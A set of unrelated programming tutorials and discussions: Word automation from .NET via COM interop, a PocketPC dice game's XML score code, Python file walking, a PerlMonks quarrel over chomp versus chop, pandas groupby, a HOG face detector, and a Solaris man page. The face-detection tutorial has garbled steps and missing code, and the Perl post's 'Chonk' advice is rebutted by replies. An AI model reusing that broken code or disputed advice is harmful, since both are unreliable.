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Developers often think they need they need to reinvent the wheel, when all they really need to do for certain tasks is make use of existing applications. A good example is utilizing one or more applications in the Microsoft Office suite of products. For instance, you may want to utilize an Excel spreadsheet to create a chart or an expense report, or create a Word document that contains user-entered data. In this article, I'll examine integrating Word in a .NET application.
The programming model
It is strange that Microsoft pushes .NET as the ultimate solution, yet it is not utilized within the Microsoft Office programming model; Office still uses the older VBA (Visual Basic for Applications) model. A critical aspect of VBA is that it is based on COM (Component Object Model), so .NET and Microsoft Office cannot natively communicate with each other. However, a .NET feature called COM interop provides callable wrappers to allow .NET and COM to interoperate.
A runtime callable wrapper allows a COM component to be used by .NET. If you are using the Visual Studio .NET IDE, follow these steps:
- Select Add Reference from the Project menu.
- Select the COM tab of the Add Reference window and double-click the appropriate type library file listed.
- Select OK to end and add the reference.
At this point, Visual Studio .NET converts the objects and members in the COM type library file into equivalent .NET assemblies. Once the .NET assemblies are generated, you can easily instantiate classes and call members as if the COM objects and members were native .NET classes and members. This process may also be reversed so you can utilize a .NET assembly in a COM-based application, but that is beyond the scope of this article.
The process if further illustrated with an example. Let's create a Word document from a simple .NET Windows Form.
Using Microsoft Word
First, I create a new project within Visual Studio .NET and add a reference to the Microsoft Word type library. I am using Microsoft Word 2003, so the type library is Microsoft Word 11.0 Object Library. Once the reference is added, I can use the Word objects in the code. The VB.NET sample in Listing A opens an existing Word document from the local drive when the user clicks a button on the Windows Form.
Here are a few notes about the code:
- The System.Runtime.InteropServices namespace is imported to work with COM and .NET interoperability. It contains the COMException class.
- The .NET wrapper for the Word objects is contained in the Microsoft.Office.Interop.Word namespace (the reference previously added to the project).
- The Application class within the Word namespace is used to access the Word application.
- The Document class within the Word namespace allows you to work with Word documents.
- The Open method contained within the Documents property of the application allows an existing document to be loaded. It contains a Close method as well.
- The Activate method of the Document class opens the document within a new instance of Word.
- The code accessing the Word document is contained within a Try/Catch block. It catches COM errors via the COMException class.
- The MessageBox.Show method replaces the Office VBA MsgBox function.
Listing B contains the equivalent C# code. The major difference in the C# code from the VB.NET version is the call to Documents.Open requires all parameters are passed to it, and these parameters must be references to objects. For this reason, objects are created and assigned values. Also, only references (ref) are passed to the method call. In addition, many of the parameters are null so the Type.Missing value is used in their place. In addition, the actual Word application must be activated via its own Activate method, and it must be displayed by setting its Visible parameter to true. The last caveat is that C# recognizes the backslash (\) as an escape sequence, so double backslahes (\\) must be utilize to include a single one in a string.
Populating Word documents via .NET
You can open an existing Word document, or you may want to create a new Word document and populate it with data from an application. You can create a new Word document via the Add method of the Documents collection. The following VB.NET snippet uses the objects created in the previous example:
word.Documents.Add()
In addition, the Word Object Model includes numerous methods and properties for working with text within a Word document. The VB.NET example in Listing C creates a new document and inserts text in the beginning of the document when a button is selected (only the code for the button is shown).
A few notes about this sample:
- The Word.Range object allows you to work with a group or range of text within a Word document. The place within a document is specified by starting and ending values. In this example, the beginning of the document (start at zero) is used. An end value indicates the size of the range—zero indicates the beginning as well.
- The Text property of the Word.Range object allows the text to be set or reset.
- The SaveAs method allows you to save a document using the specified value.
Listing D contains the C# equivalent. Once again, C# requires all parameters be specified so the Type.Missing value is utilized. You can browse the Word Object Model to learn more about the methods and properties available.
Another development tool
Microsoft Office is the most popular office suite in the world. You can easily integrate the power of the suite into your .NET application via .NET and COM interoperability. It opens a world of possibilities for adding powerful functionality to an.
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I enjoy having some simple, small games on my PDA to offer a few minutes of distraction when needed. PocketDice, a variant of the dice game Yacht, is offered here as an entry for the Mobile Development Competition and to offer PocketPC owners a few free diversionary minutes. Code examples for persisting high scores and displaying online help are presented following a description of the game.
PocketDice is a variant on the dice game Yacht with the twist that the dice values are suited like playing cards (clubs, hearts, diamonds, and spades). On each turn the player is allowed up to three rolls of five dice. On a second or third roll, the player may re-roll any or all of the dice. Clicking the Roll button rolls all "unlocked" dice. Tapping a die toggles whether the die is locked or unlocked.
Following any of the three rolls, the player may choose to score by tapping any available scoring box. A scoring box may be used only once in a game. If following a third roll, the player must choose an available scoring box. Points are awarded for a score according to the following table:
In addition to the points above, a Bonus value of 35 points is added if the sum of the Aces through Sixes scores total 63 or more. When scoring, an Ace is considered to have a value of one.
The game is over when all scoring boxes have been used.
The project, targeting the .NET Compact Framework, includes four form classes and several other supporting classes.
The following forms comprise the user interface for the application:
Supporting the main form are two custom control classes:
SingleDie and
ScoringBox. Each overrides
OnPaint() for its custom display.
High Scores for the application are persisted in an XML file through functions in the
Data class. The
Data constructor attempts to load the scores from the persisted file with an
XmlTextReader; if the file doesn't exist, a blank score array is created.
public class Data { const int kMAX_HIGHSCORES = 10; const string kDATA_FILE = @"\Program Files\PocketDice\data.xml"; private HighScoreRecord[] _list; . . . public Data() { // check if a high scores data file already exists // if not, use a blank score array and we'll // save it later _list = new HighScoreRecord[kMAX_HIGHSCORES]; int count = -1; XmlTextReader xml = null; FileStream stream = null; try { stream = new FileStream(kDATA_FILE, FileMode.Open); xml = new XmlTextReader(stream); xml.MoveToContent(); while (xml.Read()) { switch (xml.Name) { case "HighScore": count++; if (count < kMAX_HIGHSCORES) { _list[count] = new HighScoreRecord(xml); } break; } } count++; if (count < kMAX_HIGHSCORES) { for (int i=count; i<kMAX_HIGHSCORES; i++) { _list[i] = new HighScoreRecord(); } } } catch (System.IO.FileNotFoundException) { // file isn't here; initialize the structure for later saving for (int i=0; i<kMAX_HIGHSCORES; i++) { _list[i] = new HighScoreRecord(); } } catch (Exception ex) { System.Windows.Forms.MessageBox.Show( ex.ToString(), "Error Loading High Scores"); for (int i=0; i<kMAX_HIGHSCORES; i++) { _list[i] = new HighScoreRecord(); } } finally { if (xml != null) xml.Close(); if (stream != null) stream.Close(); } } . . . }
The
HighScoreRecord class, also found in the source file Data.cs, contains a constructor which takes the
XmlTextReader as a parameter.
public HighScoreRecord(XmlTextReader xml) { // read attributes given this XmlTextReader _score = int.Parse(xml.GetAttribute("score")); _name = xml.GetAttribute("name"); _date = XmlConvert.ToDateTime(xml.GetAttribute("date"), "yyyy-MM-dd"); }
A
Data object is created in the
Load event handler for frmMain. Its
Save() method is then called in frmMain's
Closing event handler, persisting the scores with an
XmlTextWriter:
public class Data { . . . public void Save() { // before saving, sort the HighScores array SortHighScores(); // now attempt to save; XmlTextWriter xml = null; try { xml = new XmlTextWriter(kDATA_FILE, System.Text.Encoding.ASCII); xml.WriteStartDocument(); // write the HighScore list xml.WriteStartElement("HighScores"); for (int i=0; i<_list.Length; i++) { _list[i].WriteXmlRecord(xml); } xml.WriteEndElement(); // </HighScores> xml.WriteEndDocument(); } catch (Exception ex) { System.Windows.Forms.MessageBox.Show(ex.ToString()); } finally { if (xml != null) xml.Close(); } } }
Called in the
Save() method, the
HighScoreRecord object's
WriteXmlRecord() method takes care of persisting its high score properties:
public class HighScoreRecord { ... public void WriteXmlRecord(XmlTextWriter xml) { xml.WriteStartElement("HighScore"); xml.WriteStartAttribute("score",""); xml.WriteString(_score.ToString()); xml.WriteEndAttribute(); xml.WriteStartAttribute("name",""); xml.WriteString(_name); xml.WriteEndAttribute(); xml.WriteStartAttribute("date", ""); xml.WriteString(_date.ToString("yyyy-MM-dd")); xml.WriteEndAttribute(); xml.WriteEndElement(); } }
When considering how to display online help, I decided that I wanted some formatting and elected to use an HTML file. The article Launching Applications and Resuming Processes [^], from the .NET Compact Framework QuickStart Tutorial [^], was very useful in offering a means for launching a process. I added a function
OpenWebPage() and wrapped it in the
Launcher class of the project. This is used to open the HTML file containing game instructions.
PocketDice, a variant of the dice game Yacht for PocketPC, provides a simple diversion, taking only a few minutes to play a full game. Code samples in the article demonstrate the use of
XmlTextReader and
XmlTextWriter objects for persisting game data in an XML file, and code borrowed from the .NET Compact Framework QuickStart Tutorial to launch processes offers a solution for displaying an HTML file for online help. Enjoy the game!
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Question
Answer
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I find myself searching and (re-)implementing this on a regular basis. The
os.walk is often given as a starting point, but then there are still few lines that are needed to wrap-up.
Update
Original version contained a mistake that would cause to walk through sub-folders several time. The code below is correct.
Here is a version of getting all files from starting point and below. Note that this is not very efficient if you just need to iterate through them, but I will come back on this in the next example.
The following function will return a list of all files including path to them, so you can directly start processing them (e.g. open, read, etc).
def get_all_files(path): ''' Gets list of all files including path starting from given path recursively. Usage: file_names = get_all_files('.') for file_name in file_names: ... @path the path to start from. @debug whether to print debug information. ''' file_names = [] for root, sub_folders, files in os.walk(path): file_names += [os.path.join(root, file_name) for file_name in files] return file_names
The biggest disadvantages are that the complete list has to be constructed completely and kept in memory before you can do anything with it. Constructing can take time, which may be frustrating for end-users. If you don’t need all files or may stop after processing just a few (for whatever reason) then this does not make any sense. Another point is that the complete list is kept in memory while this is not required when you process files one by one.
Note that there may be very legitimate situations to have all files, it completely depends on your use-case.
Sample usage can be:
file_names = get_all_files('.') for file_name in file_names: ...
A more elegant and optimal solution for iterating can be realized using iterator functions. The file system is traversed as needed. One possible implementation can be as following:
def get_all_files_iter(path): ''' Iterator for listing all files starting from given path recursively. Usage: for file_name in get_all_files_iter(path): ... @path the path to start from. ''' for root, sub_folders, files in os.walk(path): for file_name in files: yield os.path.join(root, file_name)
Sample usage can be:
for file_name in get_all_files_iter('.'): ...
The disadvantage is that you don’t know upfront how many entries are there to be processed, so giving progress information is rather cumbersome.
Enjoy!
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So what is wrong with chomp()? I can already hear many of you say.
If we try to simulate a functional description of chomp() in the common or garden context, it might begin to become clear:
"Read in each line of a file (line being delimited by "\n") - test whether there really is a "\n" there - if so chop it off else carry on regardless".
I can't imagine anyone asking for this. And if an analyst knew you were interpreting their spec. that way you'd be apt to be corrected. There are two possibilities: a spec. contains provisions for handling data quality or it doesn't and 99 times out of 100 it doesn't - that's because systems analysts prefer (quite rightly) to focus on positive rather than negative functionality.
But why chomp() is a no-no is that negative functionality is apt to be introduced to handle known and/or anticipated functional problems. In one mission-critical system, incomplete files were checked for by whether a trailer record was placed on the end. If a file succeeds that check, it's impossible for records between the header and trailer not to be terminated with "\n". A trailer is a proper functional remedy, because a file might accidentally break just after a "\n" so you can't use the presence of "\n" alone to test for file completeness.
Having established completeness of a file, the only way a record can lose its "\n" unexpectedly is by means of a programming error, such as making a conditional substitution that happens implicitly to remove it but only where the pattern matches. Perhaps chomp() is popular to sloppy people who do that kind of thing and patch it up with chomp() first and ask questions never. Such patching up is grossly negligent because it confuses the testing process needed to find mistakes. Using chomp() can make it harder to detect the real fault that chomp(0 fails to patch up.
The advantage of chop() being used so that it might indeed chop off a character off the end of a \w+ is that it will show up in testing that a programming error has occurred and needs investigation, whereas chomp() is apt to hide the error until the system or acceptance testing phase of the system. I'd hate to mistakenly hire people who allowed that to happen out of a bad programming habit!. Instead we need to do something like:
( chop() eq ';' ) or SomeErrorHandling();
[download]
Update: Unless of course you are writing code that is supposed also to be portable, including to Windows. The exception is setting $/ to some multivalued character like EOL - it ISN'T multivalued for Wondows -- test it! Only in such very isolated cases do you need a special version e.g:
{
sub Chonk { # $/-aware chop
# parm by ref
my $sref = shift() || $$_; # default $_
$$sref = substr( $$sref, 0, length( $$sref ) - length( $/ ) );
return substr( $$sref, -length( $/ ) );
}
[download]
^M Free your mind!
Having established completeness of a file, the only way a record can lose its "\n" unexpectedly is by means of a programming error, such as making a conditional substitution that happens implicitly to remove it but only where the pattern matches.
Are you suggesting that instead of writing a simple chomp in each program that reads possibly-newline-terminated strings, I explictly put the code in there for that? I hope not. If Perl were that way, I'd be quickly writing "randalchomp" that acts like chomp does now, and figure out a way to include it in every program.
Chomp is there because it perfectly fills a need. That's why we use it.
-- Randal L. Schwartz, Perl hacker
Anyone who tried to rely on carriege return (line completion) as an indication of file completion for commercial data provision would simply lose the business - a file can be incomplete but accidentally terminate after the "\n" therefore giving a false impression and that stands to happen too regularly -- 1 in n cases of incomplete files where n is the average length of a line.
Such problems that should be allowed to happen and fixed another way entirely.
"instead of a simple chomp". There is no instead of - chomp's functionality is professionally unacceptable from the start. I am saying let it break and fix the cause of the data quality issue instead of hiding it with chomp so you never found it in the first place - otherwise you are second-guessing the testing and correction process.
chomp() or die; would resolve some of the issues but its probably better to use chop as a habit in case you forget - the impact of chop on an unterminated line might be harder to find than die() but at least you are letting it have an impact that can be picked up during testing.
I explained before that point already in the OM that the proper approach is something else e.g. to put a trailer on the end.
You have three possibilities then.
Maybe all progress depends on the unreasonable man, but you can't turn it around to say that all unreasonable ideas imply progress.
Now if you do have a time machine, I apologize profusely in the hope that you'll let me borrow it briefly. I have a really good business plan that depends on having a working time machine.
(I'm also still waiting for you to fix the bugs in Chump or Chimp or Chorq or whatever your "replacement" is.)
Anyone who tried to rely on carriege return (line completion) as an indication of file completion for commercial data provision would simply lose the business
Could you please point out where in the perl documentation is it stated that chop or chomp have anything to do with file completeness validation?
There is no instead of - chomp's functionality is professionally unacceptable from the start.
Sure - if you use it for the wrong purpose, and if you expect it to do things it doesn't. If a file has been checked for completeness and its lines were found suitable for chomp, then chomp is the right tool to use. It is not the other way round.
I'm looking forward to your rant on autovivification as another "professionally unacceptable functionality" in}
Sorry, but porting to a new OS should not require chop hacking on code when a chomp in the first place would have handled the problem.
It's more than just OS line ending issues: sometimes a logical record is more than one line. I've dealt with files in the past where the records consisted of several newline-terminated lines with a four character record separator along the lines of "EOR\n". chomp can handle removing this transparently (local $/ = "EOR\n"; while( <IN> ) { chomp; _handle_rec( $_ ) }), chop can't.
And that's the important distinction: chomp deals with removing the current logical record ending, chop deals with removing a single trailing character.
Chonk is ridiculous. I count at least three misfeatures in the first line alone. Meanwhile, chomp has worked for years without those issues.
You're spending a lot of time justifying a poor decision.
It would seem to me (and I don't know the history) but this is probably the best reason I've seen why chomp returns what it does instead of the modified string. This way you can test its return and decide if worked as expected or if it is an error. Assuming that we all have your same need and care if there was a line ending is ridiculous. By your logic if i wanted to only remove the line ending i would have to first check if it had an ending and then only precede to remove it if needed. It seems like you are putting the burden then on the normal case instead of on your special case. I've worked with many data files and formats and not having to care about the line endings is a blessing not a curse. In addition if your are counting on the presence of a line ending to signify a valid record instead of checking the actual structure of the record i would think you are going to have more trouble, not less, in the future.
chomp() on its own is the normal mode of use. "or die" is only useful if you *must*
die when the last line does end with a newline, *and* that absence is material.
As a (nominally) professional programmer, I take exception to your repeated insistence
that such use is Not The Way Of The Professional Programmer. It does not help make your
case, and it leads one to wonder what you mean when you say that. (cue Princess
Bride quote).
Because I'm sure no one ever has to deal with more than single character long record separator. chop handles those just fine right?
The example you've added makes very little sense; all you've done is reimplemented Perl's built-in "remove logical line ending" operator (chomp) in a less flexible way (yours won't work on a LIST of lines, nor will it work nicely on lvalues) with a nastier calling convention (leaving aside the matter of what you think $$_ would do).
At this point I think I'm just going to have to mutter "It's the eponymy, stupid" to myself and just leave the thread..
Either I'm not understanding what you are trying to say in that part, or else you don't understand what $/ and chomp are really doing.
Setting aside the issue of how foolish it would be to "parse" a perl script by setting $/ = ';' , let's look at what actually happens, given a perl script like this:
#!/usr/bin/perl
use strict;
for my $letter ( qw/h e l l o , w o r l d/ ) {
$_ .= $letter;
}
print;
while (1) {
last if ( /^o/ );
$_ =~ s/.//
}
[download]
Do you think that's a problem? I don't. That is the documented behavior. To the best of my knowledge, and based on all my own experience, that is the most desirable behavior, when the objective is to simply remove the input record separator when one is present.
There are other, less common situations where the old "chop" (remove last character, no matter what it is) is still useful, and I'm glad it's still available for that purpose.
If you are complaining about the fact that many novice perl users don't understand $/ and chomp, I can understand your frustration, and I agree more people should know more about it. But if you are complaining that you're having trouble using chomp, I have to wonder why. It's not that complicated.
When there are issues like a single script meant to be used on any OS and having to handle a mixture of CRLF and LF line terminations (in different files or even in a single file), then I agree that chomp is maybe not the best approach, because $/ does not allow that sort of flexibility. For that I would do something like s/[\r\n]+$// instead.
(In fact, I've done that in a number of scripts, and it has served me quite well.)
Having the insight to see that a common piece of functionality is insufficient for the task at hand is good. It's unnecessary, though, to extend that to the general case of, say, parsing a random CSV file.
"There is no shame in being self-taught, only in not trying to learn in the first place." -- Atrus, Myst: The Book of D'ni.
If you are reading a CSV file, the general case would allow newlines to be embedded
in fields. chomp() is silly. Rolling your own is silly unless you need to do it as
an exercise. Use the Module, Luke! Raising the CSV specter is a red herring in the
context of discussing the appropriate use of chomp.
So what is wrong with chomp()?
Nothing is wrong with chomp, and there's nothing wrong with chop either.
Both work as documented, and both have their uses.
How are you going to distinguish the normal use of chomp() from "habitual"
use? Under most circumstances, I'm using chomp() to remove the EOL from lines
read via the diamond operator. In normal use, it Just Doesn't Matter if the last
line has an EOL or not. Using chomp() means I don't have to care, nor do I have
to jump through extra hoops to not care.
I don't understand why you are so adamant about this.
Don't think that's a good test.
Update: Although I have to agree after all, because they might be doing it out of e.g. Windows experience.
I'm sorry to say this, but... if you were writing Perl in Perl, setting $/=";" is the fastest way to prove yourself unsuited to this task. not chomp.
I usually put portability as one of my top priorities when I program. Thus, I fear mishandling of different end-of-line sequences. So I almost always use the following skeleton code:
while ( defined( my $line = <HANDLE> ) ) {
$line =~ s/\s*[\n\r]*\Z//s;
.
.
}
[download]
Yup, because no one else here knows what they're doing at all.
Nobody at all. Not a one. merlyn, chromatic, the lot of them: complete amateurs.
But you know The One True Way and all who oppose this righteous knowledge must be purged in the Cleansing Fires of Chop.
"REPENT CHOMPLEQUINS!", SAYS THE CHONKCHOP MAN
Well, personally I don't do much applying for jobs these days, but just in case I do, maybe you could put up a marker here if you're involved in any jobpostings? That would save me the bother of even considering them, because I sure as eff would not want to work for someone with your asinine concept of.
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Pandas Aggregate Functions
groupby
The
groupby function is both very powerful and very commonly used with DataFrames and Series.
For a DataFrame,
groupby groups each unique value in a given column (or set of columns) and allows you to perform operations on those groups. For example, given a sample of the flights data what if you wanted to calculate the average departure delay,
DepDelay, for each
Year of data in the
Year column?
import pandas as pd myDF = pd.read_csv("./flights_sample.csv") myDF.head()
Year Month DayofMonth ... NASDelay SecurityDelay LateAircraftDelay 0 1987 10 14 ... NaN NaN NaN 1 1990 10 15 ... NaN NaN NaN 2 1990 10 17 ... NaN NaN NaN 3 1990 10 18 ... NaN NaN NaN 4 1991 10 19 ... NaN NaN NaN
Now we can use the
groupby functionality to get the average for each
Year:
myDF.groupby("Year").mean()
Month DayofMonth DayOfWeek ... NASDelay SecurityDelay LateAircraftDelay Year ... 1987 10.0 14.000000 3.000000 ... NaN NaN NaN 1990 10.0 16.666667 5.666667 ... NaN NaN NaN 1991 10.0 21.800000 3.800000 ... NaN NaN NaN
As you can see, the average for each column is now calculated for each of the 3
Year values in the dataset: 1987, 1990, and 1991. If you wanted the
DepDelay column by itself you can isolate it before or after the calculation:
# Before myDF.groupby("Year")['DepDelay'].mean()
or
# After myDF.groupby("Year").mean()['DepDelay']
Year 1987 11 1990 3 1991 6
You have the ability to group by multiple variables as well! For example, you could find the mean
DepDelay for each day of the week for each year:
myDF.groupby(["Year", "DayOfWeek"])['DepDelay'].mean()
Year DayOfWeek 1987 3 11 1990 4 -1 6 11 7 -1 1991 1 19 3 -2 4 -2 5 1 6 14
You may notice that the output of the
groupby statements results in a Series, not a DataFrame. To move the
Year and
DayOfWeek indexes back to be columns of a DataFrame, you can use the
reset_index() method:
myDF.groupby(["Year", "DayOfWeek"])['DepDelay'].mean().reset_index()
Year DayOfWeek DepDelay 0 1987 3 11 1 1990 4 -1 2 1990 6 11 3 1990 7 -1 4 1991 1 19 5 1991 3 -2 6 1991 4 -2 7 1991 5 1 8 1991 6 14
These are only some of the methods that you can utilize while grouping data. Two additional examples are included below:
How do I calculate the number of rows for each
Year?
myDF.groupby("Year")["DepDelay"].count()
How do I calculate the median
DepDelay by
Year?
myDF.groupby("Year")["DepDelay"].median()
agg
Another powerful addition to the Pandas
groupby method is the
agg method. The end result of
agg is similar to the functionality described above. However, it allows for more aggregations to be performed at once:
list_1 = ['Wisconsin', 'IU', 'Rutgers', 'Michigan State', 'Ohio State'] list_2 = ['home', 'away', 'home', 'away', 'home'] list_3 = [85, 78, 90, 75, 74] list_4 = [500, 1000, 430, 4800, 10000] myDF = pd.DataFrame(zip(list_1, list_2, list_3, list_4), columns=['opponent', 'location', 'temp', 'attendance']) print(myDF.groupby('location').agg({'temp': 'mean', 'attendance': 'mean'}).reset_index())
location temp attendance 0 away 76.5 2900.000000 1 home 83.0 3643.333333
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Application: A Face Detection Pipeline
This chapter has explored a number of the central concepts and algorithms of machine learning.
But moving from these concepts to real-world application can be a challenge.
Real-world datasets are noisy and heterogeneous, may have missing features, and data may be in a form that is difficult to map to a clean
[n_samples, n_features] matrix.
Before applying any of the methods discussed here, you must first extract these features from your data: there is no formula for how to do this that applies across all domains, and thus this is where you as a data scientist must exercise your own intuition and expertise.
One interesting and compelling application of machine learning is to images, and we have already seen a few examples of this where pixel-level features are used for classification. In the real world, data is rarely so uniform and simple pixels will not be suitable: this has led to a large literature on feature extraction methods for image data (see Feature Engineering).
In this section, we will take a look at one such feature extraction technique, the Histogram of Oriented Gradients (HOG), which transforms image pixels into a vector representation that is sensitive to broadly informative image features regardless of confounding factors like illumination. We will use these features to develop a simple face detection pipeline, using machine learning algorithms and concepts we've seen throughout this chapter.
We begin with the standard imports:
%matplotlib inline import matplotlib.pyplot as plt import seaborn as sns; sns.set() import numpy as np
HOG Features¶
The Histogram of Gradients is a straightforward feature extraction procedure that was developed in the context of identifying pedestrians within images. HOG involves the following steps:
- Optionally pre-normal gradient orientations within each cell.
- Normalize the histograms import skimage.data image = color.rgb2gray(data.chelsea()) hog_vec, hog_vis = feature.hog(image, visualise=True) fig, ax = plt.subplots(1, 2, figsize=(12, 6), subplot_kw=dict(xticks=[], yticks=[])) ax[0].imshow(image, cmap='gray') ax[0].set_title('input image') ax[1].imshow(hog_vis) ax[1].set_title('visualization of HOG features');
HOG in Action: A Simple Face Detector¶
Using these HOG features, we can build up a simple facial detection algorithm with any Scikit-Learn estimator; here we will use a linear support vector machine (refer back to In-Depth: Support Vector Machines if you need a refresher on this). The steps are as follows:
- Obtain a set of image thumbnails of faces to constitute "positive" training samples.
- Obtain a set of image thumbnails of non-faces to constitute "negative" training samples.
- Extract HOG features from these training samples.
- Train a linear SVM classifier on these samples.
- For an "unknown" image, pass a sliding window across the image, using the model to evaluate whether that window contains a face or not.
- If detections overlap, combine them into a single window.
Let's go through these steps and try it out:
from sklearn.datasets import fetch_lfw_people faces = fetch_lfw_people() positive_patches = faces.images positive_patches.shape
(13233, 62, 47)
This gives us a sample of 13,000 face images to use for training.
2. Obtain a set of negative training samples¶
Next we need a set of similarly sized thumbnails which do not have a face in them.
One way to do this is to take any corpus of input images, and extract thumbnails from them at a variety of scales.
Here we can use some of the images shipped with Scikit-Image, along with Scikit-Learn's
PatchExtractor:
from skimage import data, transform imgs_to_use = ['camera', 'text', 'coins', 'moon', 'page', 'clock', 'immunohistochemistry', 'chelsea', 'coffee', 'hubble_deep_field'] images = [color.rgb2gray(getattr(data, name)()) for name in imgs_to_use]
from sklearn.feature_extraction.image import PatchExtractor]]) negative_patches.shape
(30000, 62, 47)
We now have 30,000 suitable image patches which do not contain faces. Let's take a look at a few of them to get an idea of what they look like:
fig, ax = plt.subplots(6, 10) for i, axi in enumerate(ax.flat): axi.imshow(negative_patches[500 * i], cmap='gray') axi.axis('off')
Our hope is that these would sufficiently cover the space of "non-faces" that our algorithm is likely to see.
from itertools import chain X_train = np.array([feature.hog(im) for im in chain(positive_patches, negative_patches)]) y_train = np.zeros(X_train.shape[0]) y_train[:positive_patches.shape[0]] = 1
X_train.shape
(43233, 1215)
We are left with 43,000 training samples in 1,215 dimensions, and we now have our data in a form that we can feed into Scikit-Learn!
4. Training a support vector machine¶
Next we use the tools we have been exploring in this chapter to create a classifier of thumbnail patches.
For such a high-dimensional binary classification task, a Linear support vector machine is a good choice.
We will use Scikit-Learn's
LinearSVC, because in comparison to
SVC it often has better scaling for large number of samples.
First, though, let's use a simple Gaussian naive Bayes to get a quick baseline:
from sklearn.naive_bayes import GaussianNB from sklearn.cross_validation import cross_val_score cross_val_score(GaussianNB(), X_train, y_train)
array([ 0.9408785 , 0.8752342 , 0.93976823])
We see that on our training data, even a simple naive Bayes algorithm gets us upwards of 90% accuracy. Let's try the support vector machine, with a grid search over a few choices of the C parameter:
from sklearn.svm import LinearSVC from sklearn.grid_search import GridSearchCV grid = GridSearchCV(LinearSVC(), {'C': [1.0, 2.0, 4.0, 8.0]}) grid.fit(X_train, y_train) grid.best_score_
0.98667684407744083
grid.best_params_
{'C': 4.0}
Let's take the best estimator and re-train it on the full dataset:
model = grid.best_estimator_ model.fit(X_train, y_train)
LinearSVC(C=4.0, class_weight=None, dual=True, fit_intercept=True, intercept_scaling=1, loss='squared_hinge', max_iter=1000, multi_class='ovr', penalty='l2', random_state=None, tol=0.0001, verbose=0)
5. Find faces in a new image¶
Now that we have this model in place, let's grab a new image and see how the model does. We will use one portion of the astronaut image for simplicity (see discussion of this in Caveats and Improvements), and run a sliding window over it and evaluate each patch:
test_image = skimage.data.astronaut() test_image = skimage.color.rgb2gray(test_image) test_image = skimage.transform.rescale(test_image, 0.5) test_image = test_image[:160, 40:180] plt.imshow(test_image, cmap='gray') plt.axis('off');
Next, let's create a window that iterates over patches of this image, and compute HOG features for each patch:
def sliding_window(img, patch_size=positive_patches[0].shape, istep=2, jstep=2, scale=1.0): Ni, Nj = (int(scale * s) for s in patch_size) for i in range(0, img.shape[0] - Ni, istep): for j in range(0, img.shape[1] - Ni, jstep): patch = img[i:i + Ni, j:j + Nj] if scale != 1: patch = transform.resize(patch, patch_size) yield (i, j), patch indices, patches = zip(*sliding_window(test_image)) patches_hog = np.array([feature.hog(patch) for patch in patches]) patches_hog.shape
(1911, 1215)
Finally, we can take these HOG-featured patches and use our model to evaluate whether each patch contains a face:
labels = model.predict(patches_hog) labels.sum()
33.0
We see that out of nearly 2,000 patches, we have found 30 detections. Let's use the information we have about these patches to show where they lie on our test image, drawing them as rectangles:
fig, ax = plt.subplots() ax.imshow(test_image, cmap='gray') ax.axis('off') Ni, Nj = positive_patches[0].shape indices = np.array(indices) for i, j in indices[labels == 1]: ax.add_patch(plt.Rectangle((j, i), Nj, Ni, edgecolor='red', alpha=0.3, lw=2, facecolor='none'))
All of the detected patches overlap and found the face in the image! Not bad for a few lines of Python.
Caveats and Improvements¶
If you dig a bit deeper into the preceding code and examples, you'll see that we still have a bit of work before we can claim a production-ready face detector. There are several issues with what we've done, and several improvements that could be made. In particular:
Our training set, especially for negative features, is not very complete¶
The central issue is that there are many face-like textures that are not in the training set, and so our current model is very prone to false positives. You can see this if you try out the above algorithm on the full astronaut image: the current model leads to many false detections in other regions of the image.
We might imagine addressing this by adding a wider variety of images to the negative training set, and this would probably yield some improvement. Another way to address this is to use a more directed approach, such as hard negative mining. In hard negative mining, we take a new set of images that our classifier has not seen, find all the patches representing false positives, and explicitly add them as negative instances in the training set before re-training the classifier.
Our current pipeline searches only at one scale¶
As currently written, our algorithm will miss faces that are not approximately 62×47 pixels.
This can be straightforwardly addressed by using sliding windows of a variety of sizes, and re-sizing each patch using
skimage.transform.resize before feeding it into the model.
In fact, the
sliding_window() utility used here is already built with this in mind.
We should combine overlapped detection patches¶
For a production-ready pipeline, we would prefer not to have 30 detections of the same face, but to somehow reduce overlapping groups of detections down to a single detection. This could be done via an unsupervised clustering approach (MeanShift Clustering is one good candidate for this), or via a procedural approach such as non-maximum suppression, an algorithm common in machine vision.
The pipeline should be streamlined¶
Once we address these issues, it would also be nice to create a more streamlined pipeline for ingesting training images and predicting sliding-window outputs. This is where Python as a data science tool really shines: with a bit of work, we could take our prototype code and package it with a well-designed object-oriented API that give the user the ability to use this easily. I will leave this as a proverbial "exercise for the reader".
More recent advances: Deep Learning¶
Finally, I should add that HOG and other procedural feature extraction methods for images are no longer state-of-the-art techniques. Instead, many modern object detection pipelines use variants of deep neural networks: one way to think of neural networks is that they are an estimator which determines optimal feature extraction strategies from the data, rather than relying on the intuition of the user. An intro to these deep neural net methods is conceptually (and computationally!) beyond the scope of this section, although open tools like Google's TensorFlow have recently made deep learning approaches much more accessible than they once were. As of the writing of this book, deep learning in Python is still relatively young, and so I can't yet point to any definitive resource. That said, the list of references in the following section should provide a useful place to start!
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Newbie: schema on local file system
Discussion in 'XML' started by maxwell@ldc.upenn.ed
Playing a local mpeg file from a local HTML file...Lyndon, Jul 25, 2005, in forum: HTML
- Replies:
- 1
- Views:
- 648
- Leonard Blaisdell
- Jul 25, 2005
How to specify a local (!) Schema file in the same (!) directory as the xml file ?Till Soerensen, Jun 9, 2004, in forum: XML
- Replies:
- 1
- Views:
- 1,453
- Henry S. Thompson
- Jun 9, 2004
How to specify file on local disk with external schema, Mar 11, 2005, in forum: XML
- Replies:
- 2
- Views:
- 3,493
[XML Schema] Including a schema document with absent target namespace to a schema with specified tarStanimir Stamenkov, Apr 22, 2005, in forum: XML
- Replies:
- 3
- Views:
- 1,495
- Stanimir Stamenkov
- Apr 25, 2005
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#include <sys/pccard.h> int32_t csx_GetFirstTuple(client_handle_t ch, tuple_t *tu);
int32_t csx_GetNextTuple(client_handle_t ch, tuple_t *tu);
Solaris DDI Specific (Solaris DDI)
Client handle returned from csx_RegisterClient(9F).
Pointer to a tuple_t structure.
The functions csx_GetFirstTuple() and csx_GetNextTuple() return the first and next tuple, respectively, of the specified type in the Card Information Structure (CIS) for the specified socket.
The structure members of tuple_t are:
uint32_t Socket; /* socket number */ uint32_t Attributes; /* Attributes */ cisdata_t DesiredTuple; /* tuple to search for or flags */ cisdata_t TupleCode; /* tuple type code */ cisdata_t TupleLink; /* tuple data body size */
The fields are defined as follows:
Not used in Solaris, but for portability with other Card Services implementations, it should be set to the logical socket number.
This field is bit-mapped. The following bits are defined:
Return link tuples if set. The following are link tuples and will only be returned by this function if the TUPLE_RETURN_LINK bit in the Attributes field is set:
